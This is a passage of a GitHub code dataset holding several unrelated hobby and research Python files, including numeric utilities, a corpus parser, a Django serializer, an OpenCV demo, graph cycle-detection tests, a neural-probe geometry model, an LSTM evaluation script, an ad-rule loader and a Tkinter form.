annot_keys = annot.keys()\n for idx in range(num):\n key = annot_keys[idx]\n new_annot[key] = annot[key]\n return new_annot\n\ndef mkdir_imwrite(fig2, img_path):\n path, filename = os.path.split(img_path)\n if not os.path.isdir(path):\n os.makedirs(path)\n fig2.savefig(img_path, bbox_inches='tight', pad_inches=0)\n\ndef unique_row(a):\n order = np.lexsort(a.T)\n a = a[order]\n diff = np.diff(a, axis=0)\n ui = np.ones(len(a), 'bool')\n ui[1:] = (diff != 0).any(axis=1)\n ui = order[ui]\n return ui\n\ndef ismember(a, b, bind = None):\n if bind is None:\n bind = {}\n for i, elt in enumerate(b):\n if elt not in bind:\n bind[elt] = i\n return (np.array([bind.get(itm, -1) for itm in a]), bind) # None can be replaced by any other \"not in b\" value\n\n\ndef get_data_base(arr):\n \"\"\"For a given Numpy array, finds the\n base array that \"owns\" the actual data.\"\"\"\n base = arr\n while isinstance(base.base, np.ndarray):\n base = base.base\n return base\n\ndef arrays_share_data(x, y):\n return get_data_base(x) is get_data_base(y)\n\n\nv = 1.0\ns = 1.0\np = 0.0\ndef rgbcolor(h, f):\n \"\"\"Convert a color specified by h-value and f-value to an RGB\n three-tuple.\"\"\"\n # q = 1 - f\n # t = f\n if h == 0:\n return v, f, p\n elif h == 1:\n return 1 - f, v, p\n elif h == 2:\n return p, v, f\n elif h == 3:\n return p, 1 - f, v\n elif h == 4:\n return f, p, v\n elif h == 5:\n return v, p, 1 - f\n\ndef rgb2gray(rgb):\n return np.dot(rgb[...,:3], [0.299, 0.587, 0.114])\n\ndef uniquecolors(n):\n \"\"\"Compute a list of distinct colors, ecah of which is\n represented as an RGB three-tuple\"\"\"\n hues = [360.0 / n * i for i in range(n)]\n hs = [math.floor(hue / 60) % 6 for hue in hues]\n fs = [hue / 60 - math.floor(hue / 60) for hue in hues]\n return [rgbcolor(h, f) for h, f in zip(hs, fs)]\n\ndef heatmap_calib(map):\n # this only works for numpy\n minval = np.min(map)\n maxval = np.max(map)\n gap = (maxval - minval + 1e-8)\n # linear interpolation\n map = ((map - minval) / gap)\n return map\n\ndef tree_to_list(t):\n # convert tree to list\n if isinstance(t, Tree):\n return [t.label()] + map(tree_to_list, t)\n else:\n return t\n\n## functions for operating a loss recorder\ndef init_recorder(T):\n recorder = {'smoothed_loss_arr' : [], 'raw_loss_arr' : [], 'loss_iter_arr': [], 'ptr' : 0, 'T' : T}\n return recorder\n\ndef retrieve_loss(struct, start_round):\n loss, iter = struct['smoothed_loss_arr'], struct['loss_iter_arr']\n return loss, iter\n\ndef update_loss(struct, loss, iter):\n raw_loss_arr = struct['raw_loss_arr']\n smoothed_loss_arr = struct['smoothed_loss_arr']\n loss_iter_arr = struct['loss_iter_arr']\n T = struct['T']\n ptr = struct['ptr']\n if len(smoothed_loss_arr) > 0:\n smoothed_loss = smoothed_loss_arr[-1]\n else:\n smoothed_loss = 0\n cur_len = len(raw_loss_arr)\n if cur_len < T:\n smoothed_loss = (smoothed_loss * cur_len + loss) / (cur_len + 1)\n raw_loss_arr.append(loss)\n else:\n smoothed_loss = smoothed_loss + (loss - raw_loss_arr[ptr]) / T\n raw_loss_arr[ptr] = loss\n ptr = (ptr + 1) % T\n smoothed_loss_arr.append(smoothed_loss)\n loss_iter_arr.append(iter)\n # stuff info into struct\n struct['ptr'] = ptr\n struct['raw_loss_arr'] = raw_loss_arr\n struct['smoothed_loss_arr'] = smoothed_loss_arr\n struct['loss_iter_arr'] = loss_iter_arr\n return struct\n\ndef vis_link(src, tgt, links):\n # visualize the link between src and tgt\n pic = []\n N = src.size(0)\n \n # ship all data to cpu\n src = src.cpu().numpy()\n tgt = tgt.cpu().numpy()\n \n # loop\n out = []\n for idx in range(N):\n shift = src[idx].shape[2]\n whole = np.concatenate((src[idx], tgt[idx]), axis=2)\n link = links[idx]\n for pair_idx in range(link.size(1)):\n src_x, src_y, tgt_x, tgt_y = link[:, pair_idx]\n tgt_x += shift\n rr, cc, val = line_aa(src_y, src_x, tgt_y, tgt_x)\n # val = np.tile(val.reshape(1, -1), (3, 1))\n val = np.tile(np.array([0,0,1]).reshape(3, 1), (1, cc.shape[0]))\n whole[:, rr, cc] = val\n out.append(whole)\n \n return out\n \n \n \n \n \n \n \n \n \n \n \n","repo_name":"MaureenZOU/Adaptive-anti-Aliasing","sub_path":"utils/futils.py","file_name":"futils.py","file_ext":"py","file_size_in_byte":19494,"program_lang":"python","lang":"en","doc_type":"code","stars":183,"dataset":"github-code","pt":"31"} +{"seq_id":"7588907619","text":"import os\nimport re\nimport json\nfrom nltk.tokenize import sent_tokenize\nimport xml.etree.cElementTree as ET\n\n\n# def clean_content(content):\n# noise_words = re.findall(r\"<[^/][^>]+?>(.+?)\",content)\n# # print (noise_words)\n# for word in noise_words:\n# s = ''\n# for _ in range(len(word)): # 把同一行标签内的文字替换成空格\n# s = s + \" \"\n# pad_word = '>' + s + '<'\n# content = content.replace('>'+word+'<',pad_word)\n# content = re.sub(\"<.+?>|<\\/.+?>\", \"\", content) # 去除剩下的标签\n# return content\n\n# with open(\"D:/ACE/LDC2006T06/data/English/bc/timex2norm/CNN_CF_20030303.1900.00.sgm\", \"r\", encoding='utf-8') as f:\n# content = f.read()\n# content = clean_content(content)\n# content = content.replace(\"\\n\",\" \")\n# sentence_str = sent_tokenize(content)\n# for i,sent in enumerate(sentence_str):\n# print (i, sent)\n\n# total = 0\n# count = 0\n# for path in ['D:/ACE/LDC2006T06/data/English/bc/timex2norm/','D:/ACE/LDC2006T06/data/English/bn/timex2norm/',\n# 'D:/ACE/LDC2006T06/data/English/cts/timex2norm/','D:/ACE/LDC2006T06/data/English/nw/timex2norm/',\n# 'D:/ACE/LDC2006T06/data/English/un/timex2norm/','D:/ACE/LDC2006T06/data/English/wl/timex2norm/']:\n\n# filelist = os.listdir(path)\n# for i,filename in enumerate(filelist):\n \n# if filename.endswith(\".sgm\"):\n# count += 1\n# # print (\"{i} / {total} {filename} running ...\".format(i=(i+1)//4+1, total=total//4,filename=filename)) \n# apf_filename = path + filename\n\n# with open(apf_filename, \"r\", encoding='utf-8') as f:\n# content = f.read()\n\n# content = clean_content(content)\n# content = content.replace(\"\\n\",\" \")\n# sentence_str = sent_tokenize(content)\n# total += len(sentence_str)\n# print (filename, len(sentence_str), total)\n# print (\"total sents: \", total)\n# print (\"count: \", count)\n\n# import json\n# with open(\"D:/ACE/anno_event_json2/MARKBACKER_20041117.1107.json\",'r') as load_f:\n# event_list = json.load(load_f)\n# # print (event_list)\n\n# for event in event_list:\n# print (event)\n# for kkey in event:\n# print (event[kkey])\n\napf_count, json_count = 0, 0\ncount = 0\nfor path in ['D:/ACE/LDC2006T06/data/English/bc/timex2norm/','D:/ACE/LDC2006T06/data/English/bn/timex2norm/',\n 'D:/ACE/LDC2006T06/data/English/cts/timex2norm/','D:/ACE/LDC2006T06/data/English/nw/timex2norm/',\n 'D:/ACE/LDC2006T06/data/English/un/timex2norm/','D:/ACE/LDC2006T06/data/English/wl/timex2norm/']:\n filelist = os.listdir(path)\n total = len(filelist)\n for i,filename in enumerate(filelist):\n # print (\"{i} / {total} running ...\".format(i=(i+1)//4 + 1, total=total//4))\n if filename.endswith(\"apf.xml\"):\n tree = ET.ElementTree(file=path+filename)\n anchors = tree.iter(tag='anchor')\n \n for anchor in anchors:\n # print (anchor[0].text)\n ss_anchor = anchor[0].text.split()\n if len(ss_anchor) > 1:\n print (filename, anchor[0].text.replace(\"\\n\", \" \"))\n count += 1\nprint (count) # 5349\n\n# total = 0\n# filelist = os.listdir(\"D:/ACE/anno_event_json3/\")\n# for filename in filelist:\n# with open(\"D:/ACE/anno_event_json/\" + filename, \"r\", encoding='utf-8') as load_f:\n# event_list = json.load(load_f)\n# total += len(event_list)\n# print (\"total: \", total)","repo_name":"carrie0307/ace2005parser","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"31"} +{"seq_id":"29192077038","text":"# get min element in stack in O(n)\n\nclass MinStack:\n def __init__(self):\n self.stack = []\n self.min_stack = []\n\n def push(self, item):\n if len(self.stack) == 0:\n self.stack.append(item)\n self.min_stack.append(item)\n else:\n if self.stack[-1] <= item:\n self.stack.append(item)\n else:\n self.stack.append(item)\n self.min_stack.append(item)\n def pop(self):\n if len(self.stack) == 0:\n return -1\n else:\n if self.stack[-1] != self.min_stack[-1]:\n return self.stack.pop()\n else:\n self.min_stack.pop()\n return self.stack.pop()\n def get_min(self):\n return self.min_stack[-1]\n\nif __name__ == '__main__':\n ss = MinStack()\n ss.push(5)\n ss.push(3)\n ss.push(7)\n print(ss.get_min())\n ss.push(1)\n print(ss.get_min())\n ss.pop()\n print(ss.get_min())","repo_name":"cspandit/Python-DS-and-Algo","sub_path":"stack/Problems/min_elemen_extra_spacet.py","file_name":"min_elemen_extra_spacet.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33448229932","text":"import importlib\n\nfrom django.conf import settings\nfrom django_analyses.models.input.input import Input\nfrom django_analyses.models.input.types.input_types import InputTypes\nfrom django_analyses.serializers.input.types.boolean_input import (\n BooleanInputSerializer,\n)\nfrom django_analyses.serializers.input.types.directory_input import (\n DirectoryInputSerializer,\n)\nfrom django_analyses.serializers.input.types.file_input import (\n FileInputSerializer,\n)\nfrom django_analyses.serializers.input.types.float_input import (\n FloatInputSerializer,\n)\nfrom django_analyses.serializers.input.types.integer_input import (\n IntegerInputSerializer,\n)\nfrom django_analyses.serializers.input.types.list_input import (\n ListInputSerializer,\n)\nfrom django_analyses.serializers.input.types.string_input import (\n StringInputSerializer,\n)\nfrom django_analyses.serializers.utils.polymorphic import PolymorphicSerializer\nfrom rest_framework.serializers import Serializer\n\n\ndef get_extra_input_serializers() -> dict:\n extra_serializers_definition = getattr(\n settings, \"EXTRA_INPUT_SERIALIZERS\", {}\n )\n serializers = {}\n for input_type, definition in extra_serializers_definition.items():\n module_location, class_name = definition\n module = importlib.import_module(module_location)\n serializer = getattr(module, class_name)\n serializers[input_type] = serializer\n return serializers\n\n\nSERIALIZERS = {\n InputTypes.BLN.value: BooleanInputSerializer,\n InputTypes.DIR.value: DirectoryInputSerializer,\n InputTypes.FIL.value: FileInputSerializer,\n InputTypes.FLT.value: FloatInputSerializer,\n InputTypes.INT.value: IntegerInputSerializer,\n InputTypes.LST.value: ListInputSerializer,\n InputTypes.STR.value: StringInputSerializer,\n **get_extra_input_serializers(),\n}\n\n\nclass InputSerializer(PolymorphicSerializer):\n class Meta:\n model = Input\n fields = \"__all__\"\n\n def get_serializer(self, input_type: str) -> Serializer:\n try:\n return SERIALIZERS[input_type]\n except KeyError:\n raise ValueError(f'Serializer for \"{input_type}\" does not exist')\n","repo_name":"TheLabbingProject/django_analyses","sub_path":"django_analyses/serializers/input/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"18140026433","text":"# This file holds code for basic functions on OpenCV - grayscaling, blurring, edge cascading, dilating, eroding\r\n# resizing and cropping\r\n\r\nimport cv2\r\n\r\nimg = cv2.imread('photos/waste/ney.png') #reads the image\r\ncv2.imshow('ney',img)\r\n\r\n\r\n# converting to grayscale\r\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n# cv2.imshow('gray', gray)\r\n\r\n\r\n# Blur\r\nblur = cv2.GaussianBlur(img, (7,7), cv2.BORDER_DEFAULT)\r\n# cv2.imshow('blur',blur)\r\n\r\n# Edge Cascade\r\ncanny = cv2.Canny(img, 175, 175)\r\ncv2.imshow('canny',canny)\r\n\r\n# Dilating the image\r\ndilated = cv2.dilate(canny, kernel = (7,7), iterations=3)\r\n# cv2.imshow('dilated', dilated)\r\n\r\n# Eroding\r\neroded = cv2.erode(dilated, (3,3), iterations=3)\r\n# cv2.imshow('eroded', eroded)\r\n\r\n# Resize\r\nresized= cv2.resize(img, (500,500), interpolation=cv2.INTER_CUBIC)\r\n# cv2.imshow('resized', resized)\r\n\r\n# Cropping\r\ncropped = img[250:350, 250:400]\r\ncv2.imshow('cropped', cropped)\r\n\r\ncv2.waitKey(0)","repo_name":"aaryaniitd/OpenCV_Learning_Files","sub_path":"basic_funcs.py","file_name":"basic_funcs.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17466294417","text":"from mygraph import MyGraph\nfrom dfs import DFS\nfrom johnson_simple_cycle import Johnson\nfrom tajan_scc import Tarjan_SCC\nfrom topology import Topology\n\n\nif __name__ == \"__main__\":\n # Create graph using file\n g4 = MyGraph(1)\n g4.load_graph(\"input.txt\")\n\n print(\"input graph from file: \")\n print(g4.get_graph())\n\n # Create graph using API\n g1 = MyGraph(5)\n g1.add_edge(1, 0)\n g1.add_edge(0, 2)\n g1.add_edge(2, 1)\n g1.add_edge(0, 3)\n g1.add_edge(3, 4)\n\n g2 = MyGraph(4)\n g2.add_edge(0, 1)\n g2.add_edge(1, 2)\n g2.add_edge(2, 3)\n\n g3 = MyGraph(7)\n g3.add_edge(0, 1)\n g3.add_edge(1, 2)\n g3.add_edge(2, 0)\n g3.add_edge(1, 3)\n g3.add_edge(1, 4)\n g3.add_edge(1, 6)\n g3.add_edge(3, 5)\n g3.add_edge(4, 5)\n\n g5 = MyGraph(5)\n g5.add_edge(0, 1)\n g5.add_edge(1, 2)\n g5.add_edge(1, 4)\n g5.add_edge(2, 4)\n g5.add_edge(2, 3)\n\n print(\"Cycle detection using different algorithms:\")\n\n print(\"DFS: \", end=\"\\t\\t\")\n for g in [g1, g2, g3, g4, g5]:\n alg = DFS(g)\n print(alg.detect_loop(), end = \" \")\n print(\"\")\n\n print(\"Topology: \", end=\" \\t\")\n for g in [g1, g2, g3, g4, g5]:\n alg = Topology(g)\n print(alg.detect_loop(), end = \" \")\n print(\"\")\n\n print(\"Tajan: \", end=\" \\t\")\n for g in [g1, g2, g3, g4, g5]:\n alg = Tarjan_SCC(g)\n print(alg.detect_loop(), end = \" \")\n print(\"\")\n\n print(\"Johnson: \", end=\" \\t\")\n for g in [g1, g2, g3, g4, g5]:\n alg = Johnson(g)\n print(alg.detect_loop(), end = \" \")\n print(\"\")\n","repo_name":"jaber-the-great/Seagull-Network-verification","sub_path":"Code/dummyCode/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23294343420","text":"from BaseProbe import BaseProbe\nimport numpy as np\nnp.set_printoptions(suppress=True)\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection, Line3DCollection\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom collections import namedtuple\nimport pandas as pd\nfrom scipy.spatial import cKDTree\nimport math\nChannel = namedtuple(\"Channel\", [\"id\", \"pos\", \"type\"])\n\nclass NeuropixelsProbe(BaseProbe):\n '''Dense probe that can record with up to 384 (10 reference) channels. 1 cm shank length and 70 micron width.\n\n\n Attributes:\n width (float) Width of the probe in microns\n num_channels (int) Number of channels on the probe\n origin (numpy.ndarray (3D)) The point where the probe starts in the 3D environment\n reference_channels (array_like) channel ids for all reference channels on the given channels\n channels_df (DataFrame) The dataframe containing all channels on the probe\n \n '''\n def __init__(self, width=70.0, num_channels=384, origin=None, reference_channels=None, channel_df=None):\n BaseProbe.__init__(self, num_channels, origin, channel_df)\n \n if(self.num_channels > 384):\n raise ValueError('Number of recording channels cannot be larger than 384 for a Neuropixels probe')\n \n self.width = width \n if(reference_channels is not None):\n self.reference_channels = reference_channels\n else:\n reference_channels = np.random.choice(self.num_channels, int(10*(self.num_channels/384.0)), replace=False)\n self.reference_channels = reference_channels\n if(origin is None):\n self.origin = np.asarray([0, 0, 0])\n else:\n self.origin = origin\n depth = self.num_channels*10 + 20\n vertices = np.array([[-self.width/2, 0, 0], [self.width/2, 0, 0], [-self.width/2, 0, depth], \n [self.width/2, 0, depth]]) + self.origin\n self.vertices = vertices\n channels = []\n initial_channels_pos = np.asarray([[-self.width/2 + 11, 0, 20], [-self.width/2 + 43, 0, 20], \n [-self.width/2 + 27, 0, 40], [-self.width/2 + 59, 0, 40]]) + self.origin\n more_channels = True\n z_offset = 0\n i = 0\n while more_channels:\n for channel_pos in initial_channels_pos:\n channel_pos = channel_pos + np.asarray([0,0, z_offset])\n if(i in self.reference_channels):\n channel = Channel(i, channel_pos, 'ref')\n i += 1\n else:\n channel = Channel(i, channel_pos, 'rec')\n i += 1\n channels.append(channel)\n if len(channels) == self.num_channels:\n more_channels = False\n break\n z_offset += 40 \n channel_df = pd.DataFrame(channels, columns=Channel._fields)\n self.channel_df = channel_df\n \n def draw(self, ax=None, excluded_channel_ids=None):\n if(ax is None):\n fig = plt.figure(figsize=(30,30))\n ax = fig.add_subplot(111, projection='3d')\n \n sides = [[self.vertices[0],self.vertices[2]], [self.vertices[0],self.vertices[1]], \n [self.vertices[2],self.vertices[3]], [self.vertices[1],self.vertices[3]]]\n ax.add_collection3d(Poly3DCollection(sides, facecolors='red', linewidths=1, edgecolors='r'))\n \n if(excluded_channel_ids is None):\n for i, row in self.channel_df.iterrows():\n if(row['type'] == 'ref'):\n channel = Channel(i, row['pos'], 'ref')\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n else:\n channel = Channel(i, row['pos'], 'rec')\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n else:\n for i, row in self.channel_df.iterrows():\n if(i not in excluded_channel_ids):\n if(row['type'] == 'ref'):\n channel = Channel(i, row['pos'], 'ref')\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n else:\n channel = Channel(i, row['pos'], 'rec')\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n else:\n continue\n ax.set_xlim(-300, 300)\n ax.set_ylim(-300, 300)\n ax.set_xlabel('x (microns)', labelpad=plt.gcf().get_figheight()*2)\n ax.set_ylabel('y (microns)', labelpad=plt.gcf().get_figheight()*2)\n ax.set_zlabel('Depth (Microns)', labelpad=plt.gcf().get_figheight()*2)\n for item in ([ax.title, ax.xaxis.label, ax.yaxis.label, ax.zaxis.label] + ax.get_xticklabels() + ax.get_yticklabels() + ax.get_zticklabels()):\n item.set_fontsize(plt.gcf().get_figheight()*.75)\n\n def rotate(self, theta, axis, ax=None, plot=False):\n if(ax is None and plot):\n fig = plt.figure(figsize=(30,30))\n ax = fig.add_subplot(111, projection='3d')\n \n for i, vertice in enumerate(self.vertices):\n self.vertices[i] = np.dot(rotation_matrix(axis, theta), vertice)\n sides = [[self.vertices[0],self.vertices[2]], [self.vertices[0],self.vertices[1]], \n [self.vertices[2],self.vertices[3]], [self.vertices[1],self.vertices[3]]]\n if(plot):\n ax.add_collection3d(Poly3DCollection(sides, facecolors='red', linewidths=1, edgecolors='r'))\n \n new_channels = []\n for i, row in self.channel_df.iterrows():\n if(row['type'] == 'ref'):\n channel = Channel(i, np.dot(rotation_matrix(axis, theta), row['pos']), 'ref')\n if(plot):\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n new_channels.append(channel)\n else:\n channel = Channel(i, np.dot(rotation_matrix(axis, theta), row['pos']), 'rec')\n if(plot):\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n new_channels.append(channel)\n \n channel_df = pd.DataFrame(new_channels, columns=Channel._fields)\n self.channel_df = channel_df\n ax.set_xlim(-300, 300)\n ax.set_ylim(-300, 300)\n ax.set_xlabel('x (microns)', labelpad=plt.gcf().get_figheight()*2)\n ax.set_ylabel('y (microns)', labelpad=plt.gcf().get_figheight()*2)\n ax.set_zlabel('Depth (Microns)', labelpad=plt.gcf().get_figheight()*2)\n for item in ([ax.title, ax.xaxis.label, ax.yaxis.label, ax.zaxis.label] + ax.get_xticklabels() + ax.get_yticklabels() + ax.get_zticklabels()):\n item.set_fontsize(plt.gcf().get_figheight()*.75)\n \n def shift(self, dist, axis, ax, plot):\n if(ax is None and plot):\n fig = plt.figure(figsize=(30,30))\n ax = fig.add_subplot(111, projection='3d')\n \n for i, vertice in enumerate(self.vertices):\n self.vertices[i] = vertice + axis*dist\n sides = [[self.vertices[0],self.vertices[2]], [self.vertices[0],self.vertices[1]], \n [self.vertices[2],self.vertices[3]], [self.vertices[1],self.vertices[3]]]\n if(plot):\n ax.add_collection3d(Poly3DCollection(sides, facecolors='red', linewidths=1, edgecolors='r'))\n \n new_channels = []\n for i, row in self.channel_df.iterrows():\n if(row['type'] == 'ref'):\n channel = Channel(i, row['pos'] + axis*dist, 'ref')\n if(plot):\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n new_channels.append(channel)\n else:\n channel = Channel(i, row['pos'] + axis*dist, 'rec')\n if(plot):\n ax.scatter3D(channel.pos[0], channel.pos[1], channel.pos[2], c='black')\n new_channels.append(channel)\n \n channel_df = pd.DataFrame(new_channels, columns=Channel._fields)\n self.channel_df = channel_df\n ax.set_xlim(-300, 300)\n ax.set_ylim(-300, 300)\n ax.set_xlabel('x (microns)', labelpad=plt.gcf().get_figheight()*2)\n ax.set_ylabel('y (microns)', labelpad=plt.gcf().get_figheight()*2)\n ax.set_zlabel('Depth (Microns)', labelpad=plt.gcf().get_figheight()*2)\n for item in ([ax.title, ax.xaxis.label, ax.yaxis.label, ax.zaxis.label] + ax.get_xticklabels() + ax.get_yticklabels() + ax.get_zticklabels()):\n item.set_fontsize(plt.gcf().get_figheight()*.75) \n \n \ndef rotation_matrix(axis, theta):\n \"\"\"\n Return the rotation matrix associated with counterclockwise rotation about\n the given axis by theta radians.\n \"\"\"\n axis = np.asarray(axis)\n axis = axis / math.sqrt(np.dot(axis, axis))\n a = math.cos(theta / 2.0)\n b, c, d = -axis * math.sin(theta / 2.0)\n aa, bb, cc, dd = a * a, b * b, c * c, d * d\n bc, ad, ac, ab, bd, cd = b * c, a * d, a * c, a * b, b * d, c * d\n return np.array([[aa + bb - cc - dd, 2 * (bc + ad), 2 * (bd - ac)],\n [2 * (bc - ad), aa + cc - bb - dd, 2 * (cd + ab)],\n [2 * (bd + ac), 2 * (cd - ab), aa + dd - bb - cc]])\n","repo_name":"colehurwitz/ERSS","sub_path":"ERSS/probes/PremadeProbes.py","file_name":"PremadeProbes.py","file_ext":"py","file_size_in_byte":9502,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"19609780648","text":"\"\"\"\nFile for evaluating and working with a previously trained model.\n\"\"\"\nfrom ray.tune import Analysis\nimport torch\nimport matplotlib.pyplot as plt\nfrom core.dataloader import *\nfrom core.model import *\nfrom core.training import *\nfrom core.evaluating import *\nfrom plots.plots import *\nfrom core.create_folder import *\nfrom core.pred_sequence import *\nconfigs = []\n#analysis_GSPC = Analysis(\"~/ray_results/1forward_returns_GSPC\")\n#analysis_IXIC = Analysis(\"~/ray_results/1forward_returns_IXIC\")\n#analysis_N225 = Analysis(\"~/ray_results/1forward_returns_N225\")\nanalysis_DJI = Analysis(\"~/ray_results/1_forward_returns_DJI\")\n#configs.append(analysis_GSPC.get_best_config(metric=\"error\", mode=\"max\"))\n#configs.append(analysis_IXIC.get_best_config(metric=\"error\", mode=\"max\"))\n#configs.append(analysis_N225.get_best_config(metric=\"error\", mode=\"max\"))\nconfigs.append(analysis_DJI.get_best_config(metric=\"error\", mode=\"max\"))\nprint(configs)\nconfigs_np = np.empty(shape=(4, 6))\ndatasets = [\"GSPC\", \"IXIC\", \"N225\", \"DJI\"]\nfor i in range(4):\n configs_np[i][0] = datasets[i]\n configs_np[i][1] = configs[i][\"num_layers\"]\n configs_np[i][2] = configs[i][\"hidden_dim\"]\n configs_np[i][3] = configs[i][\"lr\"]\n configs_np[i][4] = configs[i][\"timesteps\"]\n configs_np[i][5] = configs[i][\"dropout\"]\nconfigs_df = pd.DataFrame(configs_np, index = [\"SP500\",\"IXIC\",\"Nikkei 225\", \"Dow Jones\"], columns=[\"Symbol\", \"Num. layers\", \"Hidden dim\", \"LR\", \"Timesteps\", \"Dropout\"])\nprint(configs_df)\n\n\n\n\npath_to_folder = '/home/s/Dropbox/KU/BSc Stas/Python/Try_again/results/Predicting1_w_29_timesteps_7_hiddenDim_1_layers_0.0007255273517151122_LR'\npath_to_checkpoint = path_to_folder + '/' + 'checkpoint' + '.pth.tar'\npath_to_dataset = '/home/s/Dropbox/KU/BSc Stas/Python/Data/Daily/IXIC.csv'\n\ncuda = torch.cuda.is_available()\nif cuda:\n checkpoint = torch.load(path_to_checkpoint)\nelse:\n # Load GPU model on CPU\n checkpoint = torch.load(path_to_checkpoint,\n map_location=lambda storage,\n loc: storage)\n\nprint(\"Best accuracy, aka. lowest error is: \" + str(checkpoint['best_accuracy']))\n\n\ndataset = DataLoader(path_to_dataset, 0.80, ['log_ret'],\n 'log_ret', False)\ntimesteps = 29\nnum_forward = 1\n\nnetwork_params = {'input_dim': 1, # As many as there are of columns in data\n 'hidden_dim': 7,\n 'batch_size': 1, # From dataloader_parameters\n 'output_dim': 1,\n 'dropout': 0,\n 'num_layers': 1\n }\n\nNice_model = Model(**network_params)\nNice_loss = torch.nn.MSELoss()\nNice_model.load_state_dict(checkpoint['state_dict'])\nys, ys_testing, ys__denormalised, ys_testing_denormalised, loss_vals_test, loss_vals_train = eval_model(Nice_model,\n Nice_loss,\n dataset,\n timesteps,\n num_forward)\ntrain_dt = dataset.get_train_data(timesteps, False, num_forward)\ntest_dt = dataset.get_test_data(timesteps, False, num_forward)\nprint(np.sqrt(np.mean(loss_vals_test)))\ny_training = train_dt[1]\ny_testing = test_dt[1]\n\nplot_and_save(ys, ys_testing, y_training, y_testing, None, None,\n loss_vals_train,\n loss_vals_test, True, \"Checkpoint_model\",\n path_to_folder + '/')\n#sequences, sequences_denormalized = predict_seq_avg(Nice_model, dataset, timesteps, 25)\n\ntest_dt = dataset.get_test_data(timesteps, False)\ny_testing = test_dt[1]\n#plot_results_multiple(sequences_denormalized, y_testing, 25,\n# path_to_folder + '/')\n","repo_name":"mustass/BSc_Thesis","sub_path":"Python/LSTM_model/lookup.py","file_name":"lookup.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39754881211","text":"from twisted.python import log\n\nimport re\nfrom collections import defaultdict\n\n\ndef load_rules():\n log.msg('loading ad rules')\n groups = []\n for line in file('easylist.txt'):\n if '!' in line or '||' in line or '#' in line:\n continue\n line = line.strip()\n line = re.escape(line)\n if line[0:1] == r'\\|':\n line = '^%s' % line[2:]\n if line[-2:] == '\\|':\n line = '%s$' % line[:-2]\n groups.append(line)\n return ([\"easylist.txt\"], re.compile('|'.join(groups), re.I))\n log.msg('%i rules loaded' % len(groups))\n\nrules = load_rules()\nusers = defaultdict(lambda: rules)\n\n\ndef blocking_regex(user):\n return users[user][1]\n\n\ndef user_lists(user):\n return users[user][0]\n\n\ndef add_list(user, lst):\n users[user] = (users[user][0] + [lst],\n re.compile('foobar'))\n","repo_name":"brinchj/torquemada","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"38698609669","text":"from tkinter import *\nfrom tkinter import messagebox\n\nroot = Tk()\nroot.title('DE-PROX')\nroot.geometry('925x500+300+200')\nroot.configure(bg = '#fff')\nroot.resizable(False,False)\n\n\nimg = PhotoImage(file = 'login.png')\nLabel(root,image = img , bg = 'white').place(x = 35, y = 50)\n\nframe = Frame(root, width = 350 , height = 350 , bg = 'white')\nframe.place(x = 480 , y = 70)\n\nheading = Label(frame, text = 'Mark Your Attendance',fg='#57a1f8' , bg = 'white', font = ('Microsoft YaHei UI Light',23,'bold'))\nheading.place(x = 10, y = -5)\n\n#--------------------------------------- USERNAME ---------------------------------------\n\ndef on_enter(e):\n user.delete(0,'end')\n\ndef on_leave(e):\n name = user.get()\n if name == '':\n user.insert(0,'Enter ID Here')\n\n\n\n\n# border has been set to 0 , to give it a modern kinda look else the entry block will be visible\n\nuser = Entry(frame,width = 25, fg = 'black',border = 0, bg= 'white', font = ('Microsoft YaHei UI Light',11))\nuser.place(x = 30, y = 80)\nuser.insert(0,'Enter ID Here')\nuser.bind('',on_enter)\nuser.bind('',on_leave)\n\nFrame(frame , width = 295 , height = 2, bg = 'black').place(x = 25,y = 107) # this line places an underline below username entry widget\n\n\n\n\n# --------- Sign In Button -----------------\n\nButton(frame , width = 39 , pady = 7,text = 'Mark' , bg = 'black' , fg = 'white', border = 0).place(x = 25,y = 177)\n\n\n#label = Label(frame, text = \"Don't Have an account?\",fg = 'black' , bg = 'white', font = ('Microsoft YaHei UI Light',9))\n#label.place(x = 75 , y = 270) ~ leaving this part as of now!!!\n\n\n\n# run the app\nroot.mainloop()\n\n","repo_name":"nawabSRJ/Sem3-Project","sub_path":"Latest_DEPROX.py","file_name":"Latest_DEPROX.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20005385500","text":"import sys\n\nwith open('input', 'r') as f:\n lines = f.read().strip().split(\"\\n\")\n tups = []\n for line in lines:\n tups.append(list(map(int, line.split(\": \"))))\n\n total = 0\n delay = 0\n\n while 1:\n total = 0\n caught = False\n for tup in tups:\n layer = tup[0]\n depth = tup[1]\n if (layer + delay) % ((depth - 1)*2) == 